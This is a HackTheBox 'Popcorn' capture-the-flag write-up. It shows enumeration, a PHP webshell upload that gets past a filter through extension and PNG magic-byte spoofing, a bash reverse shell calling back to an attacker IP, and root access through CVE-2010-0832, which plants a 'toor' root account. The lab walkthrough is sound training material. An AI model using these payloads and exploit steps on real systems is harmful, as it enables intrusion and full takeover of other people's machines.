
Popcorn HTB write-up covering advanced directory fuzzing, file upload bypass via magic numbers/extension spoofing using Burp Suite, and privilege escalation via CVE-2010-0832 (PAM MOTD File Tampering).
Date: June 05, 2026
Difficulty: Easy
Platform: HackTheBox
Key Techniques: Port & Service Enumeration, Directory Fuzzing (Gobuster), File Upload Evasion, HTTP Request Manipulation (Burp Suite), Remote Code Execution (RCE), Advanced TTY Shell Stabilization (Python), Local Kernel/PAM Exploitation (MOTD File Tampering).
We begin by conducting a fast TCP port scan across all 65,535 ports (-p-) to locate open entry points. We optimize the execution speed using --min-rate 5000 and skip DNS resolution and ping sweeps to streamline the process in an auditing environment:
nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>
The initial scan reliably discovers two open ports: port 22 (SSH) and port 80 (HTTP).
Next, we perform a targeted, in-depth scan on the identified ports to determine precise service versions and run Nmap's standard and basic vulnerability scripts:
nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>
From the output, we extract critical information regarding the target ecosystem:
OpenSSH 5.1 Debian 6ubuntu2 (Indicates a significantly legacy Ubuntu Linux distribution).Apache httpd 2.2.12Before interacting with the web application via browser, we add the target IP address to our attacker machine's /etc/hosts file to clean up domain mapping and ensure internal redirections resolve properly:
<VICTIM_IP> popcorn.htb
We then run an automated hidden directory discovery using gobuster along with DirBuster's classic medium-sized wordlist:
gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt
The fuzzing phase uncovers the following accessible paths on the victim's web server:
/index (Standard index landing page)./test (Test panel or development information file)./torrent (A fully functional web platform dedicated to hosting and sharing torrent files)./response (Internal response page).Exploring the /torrent directory reveals a torrent sharing CMS. To interact with the upload features, we register and log into a valid account created on the spot. After publishing a legitimate .torrent file, the platform enables an option to edit the torrent details and upload a promotional screenshot image. This specific form becomes our primary attack vector.
To achieve Remote Code Execution (RCE), we go through a series of testing phases, analyzing the backend behavior using Burp Suite (Repeater):
We intercept the screenshot upload request and modify the filename to exploit.php. We attempt to insert a classic one-liner webshell into the file body:
<?php system($_GET['cmd']) ?>
Result: The web server returns an internal execution error due to a missing semicolon ; at the end of the PHP instruction, breaking the execution flow.
We correct the syntax to <?php system($_GET['cmd']); ?>, but since the request is sent via POST (using multipart/form-data), we try to pass our command directly inside the header URL (POST /torrent/upload_file.php?cmd=whoami).
Result: The web server throws the following error:
Cannot execute a blank command
Analysis: During file upload parsing, the backend completely ignores GET variables present in the URL. The upload_file.php script writes the file to disk but immediately attempts to execute the internal function. Since it receives nothing in the expected body variables, $_GET['cmd'] is processed as empty.
To bypass basic extension checking filters that verify whether the file is a valid image, we rename the file to innocent.php.png and hardcode a reverse shell payload so it does not rely on external parameters:
Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
Result: The server responds with a successful 200 OK stating:
Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.
Analysis: While it successfully bypassed the initial filter, since the file strictly ended with a .png extension, the Apache server treated it as an ordinary static image. When browsing to it, the browser simply prints the raw bytes as plaintext; Apache never passes the file to the PHP interpreter, meaning our Netcat listener never catches a connection.
Knowing that the server needs to parse the .php extension to trigger code execution, we reverse the extension order (innocent.png.php), keep the Content-Type: image/png header intact, and prepend the PNG signature or Magic Numbers (PNG) to the beginning of the file body to spoof the backend content validation checks:
POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png
PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--
Result: The web server cleanly accepts the file, processes the trailing extension, and saves it inside the upload directory under the name innocent.php:
HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.
Because the upload script only stores the file on disk without executing it within the upload POST request context, we trigger a standalone call to force the server to read it:
nc -lvnp 4444
GET request in Burp):[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)
The Apache server is forced to process the file, detects the PHP tags, executes the Bash payload, and the connection catches perfectly on our listener, granting initial access as the www-data user.
Attempting to upgrade privileges immediately after receiving the shell surfaces severe environment limitations:
www-data@popcorn:/$ su root
su: must be run from a terminal
The su command strictly requires a real interactive terminal (TTY) to accept input securely. Attempting to force one via python3 indicates it is not installed on this legacy box (The program 'python3' is currently not installed).
We bypass this roadblock by utilizing the classic Python binary (Python 2) present on the machine and reconfiguring our attacker machine's terminal descriptors:
# 1. Spawn an interactive shell using the absolute path of legacy Python
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'
# 2. Suspend the shell process to the background
Ctrl + Z
# 3. On our attacker terminal, set the keyboard state to raw and foreground the Netcat listener
stty raw -echo; fg
# 4. Force a screen refresh and map terminal environment variables for history and autocomplete support
reset xterm
export TERM=xterm
export SHELL=bash
We inspect the OS distribution and Linux Kernel version running on the victim machine:
www-data@popcorn:/$ uname -a
Linux popcorn 2.6.31-14-generic #48-Ubuntu SMP Fri Oct 16 14:05:01 UTC 2009 i686 GNU/Linux
www-data@popcorn:/$ cat /etc/issue
Ubuntu 9.10 \n \l
The operating system points to a vintage Ubuntu release (Karmic Koala), whose Kernel and core packages contain several known local privilege escalation flaws.
We identify a highly viable vector involving PAM's message of the day parsing (Linux PAM 1.1.0 - MOTD File Tampering Privilege Escalation, tracked under CVE-2010-0832). This vulnerability allows local users to manipulate files owned by root via unsafe symlink handling during local SSH authentication actions.
We leverage the public exploit script 14339.sh to automate the attack path.
searchsploit -m linux/local/14339.sh
python3 -m http.server 80
/tmp directory (which grants global read/write/execute permissions), download the script, and make it executable:cd /tmp
wget http://<ATTACKER_IP>/14339.sh -O motd.sh
chmod +x motd.sh
./motd.sh
[*] Ubuntu PAM MOTD local root
[*] SSH key set up
[*] spawn ssh
[+] owned: /etc/passwd
[*] spawn ssh
[+] owned: /etc/shadow
[*] SSH key removed
[+] Success! Use password toor to get root
The script successfully finishes execution, directly tampering with the local user database at /etc/passwd.
Due to the inner workings of the exploit, it does not alter the original root user account password. Instead, it injects a brand new clone user with root privileges at the end of the /etc/passwd file.
We confirm this by reading the last line of the user file:
www-data@popcorn:/tmp$ tail -n 1 /etc/passwd
toor:x:0:0:root:/root:/bin/bash
Note: The 0:0 (UID/GID) configuration grants this account identity parameters identical to the root administrator.
While running su root with the password toor outputs an Authentication failure error because the original root account is untouched, our stabilized Python TTY shell allows us to switch users smoothly by targeting the custom clone account:
www-data@popcorn:/tmp$ su toor
Password: toor
We supply the password (toor), instantly transforming our terminal prompt into the supreme hash identifier (#):
root@popcorn:/tmp# whoami
toor
root@popcorn:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
The target machine is fully compromised. We now hold administrative access to collect the required flag hashes:
/home/george/user.txt/root/root.txt